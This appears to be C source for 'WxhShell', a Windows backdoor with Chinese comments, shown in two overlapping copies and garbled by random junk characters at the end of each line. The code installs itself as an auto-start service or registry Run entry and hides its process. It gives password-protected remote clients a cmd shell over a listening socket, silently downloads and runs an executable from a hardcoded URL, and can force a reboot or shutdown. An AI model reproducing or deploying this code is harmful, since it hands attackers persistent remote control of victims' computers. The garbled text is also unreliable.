    if(Boot(SHUTDOWN)) ,NVsn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k]HEhY  
    else { g[7#w,o  
    closesocket(wsh); Za8#$`zq  
    ExitThread(0); -3lb@ 6I6  
    } Bw64  
    break; *9c!^ $V  
    } Fa_VKAq  
  // 获取shell Y> Wu  
  case 's': { /3:q#2'v  
    CmdShell(wsh); 7C2&NyWJ  
    closesocket(wsh); @wC5 g 4E  
    ExitThread(0); i'wAE:Xe  
    break; g9WGkH F  
  } |{ PI102  
  // 退出 -!L"')  
  case 'x': { X'% ;B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QZhj b  
    CloseIt(wsh); g HbxgeL  
    break; njnDW~Snb  
    } -7&Gi +]  
  // 离开 D<X.\})Md  
  case 'q': { D"ehWLj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZwerDkd  
    closesocket(wsh); BC;:  
    WSACleanup(); ,b;{emX h  
    exit(1); _#}n~}d  
    break; GMZv RAu i  
        } j"@93D~  
  } *[R eb %  
  } j>/ ,$H  
U Gpu\TB  
  // 提示信息 x5WW--YR+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N**g]T 0`  
} ee#): -p  
  } fb:j%1WF  
)){9&5,0:  
  return; IMl!,(6;  
} ^~HQC*  
?EK?b s  
// shell模块句柄 F0UVo  
int CmdShell(SOCKET sock) 13&0rLS  
{ .eO?Z^  
STARTUPINFO si;  g}U3y'  
ZeroMemory(&si,sizeof(si)); la?Wnw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t/PlcV_M"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TbF4/T1b  
PROCESS_INFORMATION ProcessInfo; |xvy')(b  
char cmdline[]="cmd"; 0% #<c p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <ExZ:ip  
  return 0; tpTAeQ*:d  
} 1G'`2ATF*  
3 Lsj}p  
// 自身启动模式 1#4PG'H  
int StartFromService(void) U"4?9. k  
{ !'*csg  
typedef struct ~|AwN [  
{ r]Ff{la5  
  DWORD ExitStatus; FG!X"<he  
  DWORD PebBaseAddress; fQ=MJ7l  
  DWORD AffinityMask; KyO8A2'U  
  DWORD BasePriority; $VQtwuYt  
  ULONG UniqueProcessId; =FT98H2*|  
  ULONG InheritedFromUniqueProcessId; z]bwnJfd  
}   PROCESS_BASIC_INFORMATION; {gaai  
?[MsQQd~  
PROCNTQSIP NtQueryInformationProcess; tD Cw-  
KB!|B.ChN(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;eZ#bjw-d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $eBX  
Mf#83 <&K  
  HANDLE             hProcess; nPgeLG"00  
  PROCESS_BASIC_INFORMATION pbi; W Qc>  
xlR2|4|8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 35x 0T/8  
  if(NULL == hInst ) return 0; hwDbs[:  
UP{j5gR:_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y}DonF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =0'q!}._!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ] k8/#@19  
irZFV  
  if (!NtQueryInformationProcess) return 0; Wi}FY }f  
9cv]y#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TV}}dw  
  if(!hProcess) return 0; h`}3h< 8  
<_./SC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9ElCg"  
uGl| pJ\y=  
  CloseHandle(hProcess); @E53JKYhY  
P~FUS%39"o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1Fi86  
if(hProcess==NULL) return 0; qJ_1*!!91  
Sm2>'C  
HMODULE hMod; 8Z2.`(3c[  
char procName[255]; l**;k+hw  
unsigned long cbNeeded; $Vv}XMxw  
NS,5/t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6dEyv99  
Pu>N_^  C  
  CloseHandle(hProcess); ;bX4(CMe &  
H2-28XGc  
if(strstr(procName,"services")) return 1; // 以服务启动 @l UlY2  
3v!~cC~cI  
  return 0; // 注册表启动 (,xZGa  
} mty1p'^KQ  
qUF1XJZ }z  
// 主模块 Us~ X9n_F  
int StartWxhshell(LPSTR lpCmdLine) !z zW2>  
{ qYp$fmj  
  SOCKET wsl; efuK  
BOOL val=TRUE; 8)\M:s~7&  
  int port=0; qOG}[%<^n7  
  struct sockaddr_in door; [W,-1.$!dM  
n|4;Hn1V  
  if(wscfg.ws_autoins) Install(); r++i=SQax  
:<~7y.*O{  
port=atoi(lpCmdLine); ~mN% (w!^  
)J3kxmlzQ  
if(port<=0) port=wscfg.ws_port; ]PNow S\  
qsg>5E  
  WSADATA data; !)Rr] ~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Id}4[={e  
y$tX-9U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n`;R pr&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O:.,+,BH  
  door.sin_family = AF_INET; T_OF7?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,c)g,J9  
  door.sin_port = htons(port); UlQQP^Na  
]9S`[c$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S C_|A9  
closesocket(wsl); yD)"c .  
return 1; RwTzz] M  
} X^@[G8v%  
BZ F,=v  
  if(listen(wsl,2) == INVALID_SOCKET) { ^i:\@VA:  
closesocket(wsl); ]R_G{%  
return 1; cQFR]i  
} {sC=J hs-  
  Wxhshell(wsl); fV ZW[9[  
  WSACleanup(); |Zq\GA  
xNN@1P[*  
return 0; M>_= "atI  
I/UQ'xx  
} 77 :'I  
8kW/DcLE  
// 以NT服务方式启动 %TK&)Q% h5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O=jN&<rb  
{ DPJh5d  
DWORD   status = 0; 5su.+4z\  
  DWORD   specificError = 0xfffffff; f(u&XuZ  
?G/hJ?3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |tG+iF@4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T0FZ7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9[|4[3K  
  serviceStatus.dwWin32ExitCode     = 0; r7)@M%A  
  serviceStatus.dwServiceSpecificExitCode = 0; @%@zH%b  
  serviceStatus.dwCheckPoint       = 0; FUaNiAr[  
  serviceStatus.dwWaitHint       = 0; _JOP[KHb  
+*t|yKO>[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TV{)n'aA  
  if (hServiceStatusHandle==0) return; t^@T`2jL  
jFj~]]j  
status = GetLastError(); vg5NY =O  
  if (status!=NO_ERROR) B2hfD-h,>  
{ E5B8 Z?$a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H(\V+@~>AD  
    serviceStatus.dwCheckPoint       = 0; i@$-0%,  
    serviceStatus.dwWaitHint       = 0; *e<_; Kr?  
    serviceStatus.dwWin32ExitCode     = status; _F8T\f |  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'H=weH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gm&2R4)EP  
    return; U4_"aT>M y  
  } J`Oy.Qu)  
cztS]dcf>~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w6EI{  
  serviceStatus.dwCheckPoint       = 0; 3%M.U)|+  
  serviceStatus.dwWaitHint       = 0; NdQ%:OKC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~Ob8i1S>  
} :k1$g+(lP  
Z! YpklZ?~  
// 处理NT服务事件,比如:启动、停止 iUNnPJh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5a$$95oL  
{ #O</\|aH)i  
switch(fdwControl) !s-/0ugZ  
{ HP$K.a7H  
case SERVICE_CONTROL_STOP: C.E[6$oVc  
  serviceStatus.dwWin32ExitCode = 0; oO:LG%q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yH(V&Tv  
  serviceStatus.dwCheckPoint   = 0; [~?M/QI9  
  serviceStatus.dwWaitHint     = 0; YY!!<2_  
  { >0T3'/k<H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #^\}xn" [  
  } $j !8?  
  return; !3KPwI,  
case SERVICE_CONTROL_PAUSE: U,3d) ]Zy&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .S|-4}G(6  
  break; 3LrsWAz'  
case SERVICE_CONTROL_CONTINUE: j_pw^I$C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XZ@ >]P  
  break; R`C.ha  
case SERVICE_CONTROL_INTERROGATE: ^I./L)0= }  
  break; {Tx 3$eU  
}; K.h]JD]o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fd"WlBYy0  
} f%1wMOzx  
J3\)Jy  
// 标准应用程序主函数 GI4oQcJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HWR& C  
{ k6g|7^es2  
s=\7)n=,M  
// 获取操作系统版本 em/Xu  
OsIsNt=GetOsVer(); 2B'^`>+8S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Pvr??"r  
Isp_U5M  
  // 从命令行安装 #wD7 \X-f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;@'0T4Z&l  
dM gbW<uAu  
  // 下载执行文件 WH;xq^  
if(wscfg.ws_downexe) { h*l4Y!7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `]LODgk~  
  WinExec(wscfg.ws_filenam,SW_HIDE); h *waRD  
} a^*B5G1(&  
`7>K1slQ}S  
if(!OsIsNt) { ;q&Z9 lm  
// 如果时win9x,隐藏进程并且设置为注册表启动 [EOMCH2Ki  
HideProc(); w}b<D#0XC  
StartWxhshell(lpCmdLine); GFY-IC+fc  
} [+7"{UvT  
else Fi k@hu  
  if(StartFromService()) Q^q=!/qQ  
  // 以服务方式启动 j%Gbg J  
  StartServiceCtrlDispatcher(DispatchTable); rUvwpP"k  
else 2q|_Dma  
  // 普通方式启动 _"v~"k 90^  
  StartWxhshell(lpCmdLine); 4Qhx[Hv>(  
aZC*7AK   
return 0; _3zU,qm+  
} zCM^r <Kr  
! fX9*0L  
%g5jY%dg.r  
@6[x%j/!bt  
=========================================== l^BEFk;  
?P YNE  
V!}L<cN  
yx 7loy$[  
,iohfZz  
>T(M0Tkt  
" !~tnt i6  
wz)m{:b<  
#include <stdio.h> =yo=q)W  
#include <string.h> 4&H+hN{3  
#include <windows.h>  TVj1C  
#include <winsock2.h> 0vcET(  
#include <winsvc.h> #VQ36pCd  
#include <urlmon.h> ! 7Nn ]Lx  
3lyQn "  
#pragma comment (lib, "Ws2_32.lib") _i.({s&_9  
#pragma comment (lib, "urlmon.lib") tc5M$b3^2  
,$o-C&nC  
#define MAX_USER   100 // 最大客户端连接数 _4~k3%w\`l  
#define BUF_SOCK   200 // sock buffer gnYnL8l`J  
#define KEY_BUFF   255 // 输入 buffer e=-YP8l  
j5'.P~  
#define REBOOT     0   // 重启 2;O  c^  
#define SHUTDOWN   1   // 关机 T?Z OHH8  
%pd5w~VP  
#define DEF_PORT   5000 // 监听端口 _RgxKp/d  
`$f\ %  
#define REG_LEN     16   // 注册表键长度 %d ZM9I0  
#define SVC_LEN     80   // NT服务名长度 YlG; A\]k  
E#8J+7  
// 从dll定义API .!!79 6hS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q^u6f?B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z{@= _5;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A"`L~|&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M3)v-"  
QZqp F9Eu  
// wxhshell配置信息 fHW-Je7mG  
struct WSCFG { %!>k#F^S  
  int ws_port;         // 监听端口 s }Xi2^x  
  char ws_passstr[REG_LEN]; // 口令 nz}]C04:-  
  int ws_autoins;       // 安装标记, 1=yes 0=no J: L-15  
  char ws_regname[REG_LEN]; // 注册表键名 5X0_+DdeL  
  char ws_svcname[REG_LEN]; // 服务名 u2f `|+1^y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4p*?7g_WVH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .Y+mwvLpRG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \-DM-NrZ1U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sTJJE3TBI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cF-Jc}h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 30t:O&2<  
Qu!OV]Cc  
}; :17ee  
gCjH%=s  
// default Wxhshell configuration R>^5$[  
struct WSCFG wscfg={DEF_PORT, 1{= E ?  
    "xuhuanlingzhe", +k# mvPq  
    1, k0gJ('zah  
    "Wxhshell", Vj#%B.#Zbf  
    "Wxhshell", m>g}IX&K'  
            "WxhShell Service", o:p{^D@#k  
    "Wrsky Windows CmdShell Service", (D:KqGqoT  
    "Please Input Your Password: ", tzx:*  
  1, 2pVVoZV.<  
  "http://www.wrsky.com/wxhshell.exe", j*zB { s K  
  "Wxhshell.exe" sxf}Mmsk  
    }; ADuZ}]  
 gvvFU,2  
// 消息定义模块 @WMj^t1D+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rGQ86L<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3 (Gygq#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `[w}hFl~q  
char *msg_ws_ext="\n\rExit."; 2l]C55p)s  
char *msg_ws_end="\n\rQuit."; l#mqV@?A~  
char *msg_ws_boot="\n\rReboot..."; JDIz28Ww  
char *msg_ws_poff="\n\rShutdown..."; VGq{y{(  
char *msg_ws_down="\n\rSave to "; pT|./ Fe  
H&"_}  
char *msg_ws_err="\n\rErr!"; (or =f`  
char *msg_ws_ok="\n\rOK!"; kfH9Y%bOy  
!NlB%cF  
char ExeFile[MAX_PATH]; ]W89.><%14  
int nUser = 0; n=lggBRx  
HANDLE handles[MAX_USER]; ;igE IGR  
int OsIsNt; 11nO<WH  
C@l +\M(  
SERVICE_STATUS       serviceStatus; Zw3hp,P]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tyBg7dP  
{X{01j};8  
// 函数声明 %Z-TbOX  
int Install(void); e7)>U!9c9  
int Uninstall(void); z:@d@\$?  
int DownloadFile(char *sURL, SOCKET wsh); +]aD^N9['  
int Boot(int flag); w*]_FqE  
void HideProc(void); bQ${8ZO  
int GetOsVer(void); Udb0&Y1^  
int Wxhshell(SOCKET wsl); 7lnM|nD  
void TalkWithClient(void *cs); gDUoc*+h  
int CmdShell(SOCKET sock); s (l+{b &  
int StartFromService(void); tSw~_s_V  
int StartWxhshell(LPSTR lpCmdLine); B8P@D"u  
Dg?Ho2ih  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @U7U?.p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +btP]?04  
}W Bm%f  
// 数据结构和表定义 T%z!+/=&^  
SERVICE_TABLE_ENTRY DispatchTable[] = L%=BCmMx  
{ 2n"*)3Qj  
{wscfg.ws_svcname, NTServiceMain}, X.r!q1_c  
{NULL, NULL} +'{:zN5m  
}; 5d!z<{`  
fb;hf:B:  
// 自我安装 U O{xpY  
int Install(void) ]G$!/vXP  
{ ;NvhL|R  
  char svExeFile[MAX_PATH]; C/grrw  
  HKEY key; {Hrr:hC  
  strcpy(svExeFile,ExeFile); OP\^c  
O~c+$(  
// 如果是win9x系统,修改注册表设为自启动 ~a0d .dU  
if(!OsIsNt) { r;5 AY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]VO,} `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \Ho#[k=y*/  
  RegCloseKey(key); .1l[l5$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w|3fioLs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x&6i@Jl  
  RegCloseKey(key); KJ05Zx~uma  
  return 0; Rwi5+;N  
    } 'h+4zvI"8  
  } u8$~N$L  
} PhI{3B/  
else { 123-i,epg  
42H#n]Y  
// 如果是NT以上系统,安装为系统服务 dzk?Zg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >u%[J!Y;;  
if (schSCManager!=0) b_"V%<I  
{ d<^6hF  
  SC_HANDLE schService = CreateService 8?]%Q i   
  ( =-#iXP@  
  schSCManager, _s=Pk[e  
  wscfg.ws_svcname, ZS 7)(j$.  
  wscfg.ws_svcdisp, YpbdScz  
  SERVICE_ALL_ACCESS, ,m_&eF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $;g%S0:3)  
  SERVICE_AUTO_START, q0xE&[C[M  
  SERVICE_ERROR_NORMAL, Luu-c<*M  
  svExeFile, wMR[*I/  
  NULL, R?FtncL%D  
  NULL, YP@ ?j  
  NULL, EJ[iOYx  
  NULL, :EmMia-)J  
  NULL Ky{I&}+R|  
  ); kK_>*iCMo  
  if (schService!=0) 374_G?t&  
  { ;Ef)7GE@\[  
  CloseServiceHandle(schService); /ux#U]x  
  CloseServiceHandle(schSCManager); \ { E;u'F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bN~'cs8 e  
  strcat(svExeFile,wscfg.ws_svcname); Q'V,?#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m'vOFP)'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  I$sm5oL  
  RegCloseKey(key); EXScqGa]  
  return 0; G5Dji_|  
    } ,4?|}xg  
  } hJL0M!  
  CloseServiceHandle(schSCManager); EJiF_  
} ;z=C^'  
} :8/M6-EK  
OW5|oG  
return 1; d+wNGN  
} R;I-IZS:  
$DMu~wwfG  
// 自我卸载 l2_E6U"  
int Uninstall(void) 5&7?0h+I  
{ RM=+ZmA  
  HKEY key; xsypIbN  
A_$Mt~qKi^  
if(!OsIsNt) { W,eKQV<j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "{1}  
  RegDeleteValue(key,wscfg.ws_regname); */@bNT9BgO  
  RegCloseKey(key); XVK[p=cIL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c`[uQXv  
  RegDeleteValue(key,wscfg.ws_regname); (/UMi,Ho  
  RegCloseKey(key); BsG[#4KM:  
  return 0; KARQKFp!C>  
  } LZ<( :S  
} ur_"m+  
} ry<}DK<u  
else { Ik2szXh[J  
N4JL.(m){I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (VF4]  
if (schSCManager!=0) )#TJw@dNf^  
{ ?&bVe__  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EYj2h .k  
  if (schService!=0) %QcG^R  
  { g 0_r  
  if(DeleteService(schService)!=0) { \< +47+  
  CloseServiceHandle(schService); pHbguoH,  
  CloseServiceHandle(schSCManager); 3lEU$)QA3  
  return 0; x)Om[jZE  
  } ,'0oj$~S:  
  CloseServiceHandle(schService); N`^W*>XB  
  } KPvYq?F>4  
  CloseServiceHandle(schSCManager); _1bd)L&dF  
} V?pO~q o  
} HK4`@jYQ  
XhkL)) FcG  
return 1; (E]K)d  
} x@(f^P  
pt;Sk?-1  
// 从指定url下载文件 Gb)iB  
int DownloadFile(char *sURL, SOCKET wsh) m&vYZ3vK[  
{ ~.=!5Ry  
  HRESULT hr; z.F+$6  
char seps[]= "/"; <'yC:HeAwD  
char *token; SCC/ <o  
char *file; ,oVBgCf  
char myURL[MAX_PATH]; n`2"(7Wj  
char myFILE[MAX_PATH]; 5 /VB'N#7s  
:jp$X|  
strcpy(myURL,sURL); "S} hcAL/  
  token=strtok(myURL,seps); +mF 2yh  
  while(token!=NULL) 5m;wMW<  
  { zEL[%(fnc  
    file=token; Ljs(<Gm)-  
  token=strtok(NULL,seps); L&k$4,Z9  
  } %Q4w9d  
w%u[~T7OI  
GetCurrentDirectory(MAX_PATH,myFILE); PqeQe5  
strcat(myFILE, "\\"); /9^0YC;Y*  
strcat(myFILE, file); N.cRZm%  
  send(wsh,myFILE,strlen(myFILE),0); WK5bt2x  
send(wsh,"...",3,0); G+yz8@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~_\2\6%1^n  
  if(hr==S_OK) @Bwl)G!|  
return 0; \) ONy9  
else ?UZ yu 4O%  
return 1; GM92yi!8  
D#AxgF_He  
} Sk%|-T(d$  
Ceb i9R[  
// 系统电源模块 1j-i nj`  
int Boot(int flag) h$h`XBVZe;  
{ /]>{"sS(  
  HANDLE hToken; *wx^mB9  
  TOKEN_PRIVILEGES tkp; +Rd{ ?)2~  
25KZe s)  
  if(OsIsNt) { 30-w TcG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); fxa^SV   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); / 1GZN *I  
    tkp.PrivilegeCount = 1; FAGVpO[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AFA*_9Ut  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aM1JG$+7G  
if(flag==REBOOT) { cHd39H9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d$ 7 b  
  return 0; b%$C!Tq'  
} |"*:ZSj  
else { No+zw%l0E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $h f\ #'J  
  return 0; Nd)o1 {I  
}  'Z}$V*  
  } zW&W`(  
  else { ^(B*AE.  
if(flag==REBOOT) { "61n?Z#,M[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sZ$ ~abX  
  return 0; 8=Ht+Br  
} \OB3gnR  
else { 6g&nnA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \Ki#"%S  
  return 0; [K QZHIe  
} T!E LH!  
} (]dZ+"O{  
<H#K`|Ag  
return 1; j3F=P  
} *mt v[  
r4zS,J;,  
// win9x进程隐藏模块 GT0'bge  
void HideProc(void) +?'acn  
{ v#G ^W  
$cCB%}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q>Y[.c-  
  if ( hKernel != NULL ) ddxv.kIj.  
  { } 4^UVdz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >{8H==P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3 g&mND  
    FreeLibrary(hKernel); rKq]zHgpo  
  } mK4A/bsE  
4'*K\Ul).H  
return; [Xg"B|FD0  
} ~:Nyv+g,$  
3~'F^=T.Y  
// 获取操作系统版本 XCoOs<O:@  
int GetOsVer(void) &GAx*.L  
{ d_hcv|%  
  OSVERSIONINFO winfo; Aed"J5[a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {F[Xe_=#"  
  GetVersionEx(&winfo); *4E,| IJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vA`.8U 0S  
  return 1; QkAwG[4  
  else 64@s|m*  
  return 0; GC2<K  
} :gC2zv  
,j<"~"] =  
// 客户端句柄模块 1C{n\_hR  
int Wxhshell(SOCKET wsl) i&KODhMpP  
{ +f+yh0Dj  
  SOCKET wsh; MN4}y5  
  struct sockaddr_in client; \h4y,sl  
  DWORD myID; *q BZi;1  
K<(R Vh  
  while(nUser<MAX_USER) [OSUARm v  
{ 29oEkaX2o  
  int nSize=sizeof(client); 4YC`dpO'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?0X.Ith^.  
  if(wsh==INVALID_SOCKET) return 1; lNw?}H  
kzu=-@s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )2S\:&x  
if(handles[nUser]==0) :z7!X.*  
  closesocket(wsh); V"XN(Fd^  
else ,8 seoX^  
  nUser++; D?R  z|  
  } cCIEG e6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mLO6`]p{H  
tK*f8X+q  
  return 0; ^=j$~*(LmX  
} lVHJ}(<'p  
WP9=@X Z  
// 关闭 socket z7o5 9&  
void CloseIt(SOCKET wsh) o-_ a0j  
{ -u{:39y{n  
closesocket(wsh); Z)~ 2{)  
nUser--; _JS'~ JO3{  
ExitThread(0); &V$R@~x  
} $}@l l^  
Yc}b&  
// 客户端请求句柄 \T?O.  
void TalkWithClient(void *cs) 9)qx0  
{ V'B 6C#jT  
FgxQ}VvlH  
  SOCKET wsh=(SOCKET)cs; s#ykD{ Z  
  char pwd[SVC_LEN]; v)06`G  
  char cmd[KEY_BUFF]; l3,|r QD  
char chr[1]; 3 0Z;}<)9  
int i,j; P%c<0y"O:>  
vEkz 5$  
  while (nUser < MAX_USER) { rcOmpgew  
~ p.23G]x  
if(wscfg.ws_passstr) { js j" W&J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LCt m@oN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ue7~rPdlR  
  //ZeroMemory(pwd,KEY_BUFF); '4iu0ie>D  
      i=0; c<=1,TB"-_  
  while(i<SVC_LEN) { 'E9jv4E$n  
i \~4W$4I  
  // 设置超时 o9CB ,c7]  
  fd_set FdRead; ?`xId;}J#7  
  struct timeval TimeOut; Ty m!7H2  
  FD_ZERO(&FdRead); : SNp"|  
  FD_SET(wsh,&FdRead); w[iQndu  
  TimeOut.tv_sec=8; y< 84Gw_  
  TimeOut.tv_usec=0; 5o?bF3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /dAIg1ra  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YL]x>7T~4t  
9ccEF6o0=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VCIG+Gz  
  pwd=chr[0]; DIY WFVh  
  if(chr[0]==0xd || chr[0]==0xa) { YG_3@`-<  
  pwd=0; YAO0>T<F  
  break; 97lwPjq  
  } :3k(=^%G!  
  i++; JW$#~"@r  
    } `WVQp"m  
)9$Xfq/  
  // 如果是非法用户,关闭 socket AbB%osz}Ed  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >.A{=?   
} 2&M 8Wb#  
UX6-{ RP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F n\)*; ^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2neiUNT  
xGqZ8v`v  
while(1) { ev>: 3_ s  
+Fk.B@KT,  
  ZeroMemory(cmd,KEY_BUFF); P)3e^~+A  
?w.Yx$Z"  
      // 自动支持客户端 telnet标准   : v]< h  
  j=0; 6i%)'dl  
  while(j<KEY_BUFF) { _$\T;m>'A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?@ O[$9y  
  cmd[j]=chr[0]; z;-2xD0&U[  
  if(chr[0]==0xa || chr[0]==0xd) { P _9O8"W  
  cmd[j]=0; KF.?b]  
  break; $ysC)5q.  
  } iVD9MHT4  
  j++; E7N1B*KI  
    } [mhY_Hmz]  
-C\m' T,1  
  // 下载文件 `O#y%*E  
  if(strstr(cmd,"http://")) { | .PLfc;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x ` $4  
  if(DownloadFile(cmd,wsh)) U7OW)tUf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ 60J  
  else )Aj~ xA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9s}--_k?F2  
  } r8mE   
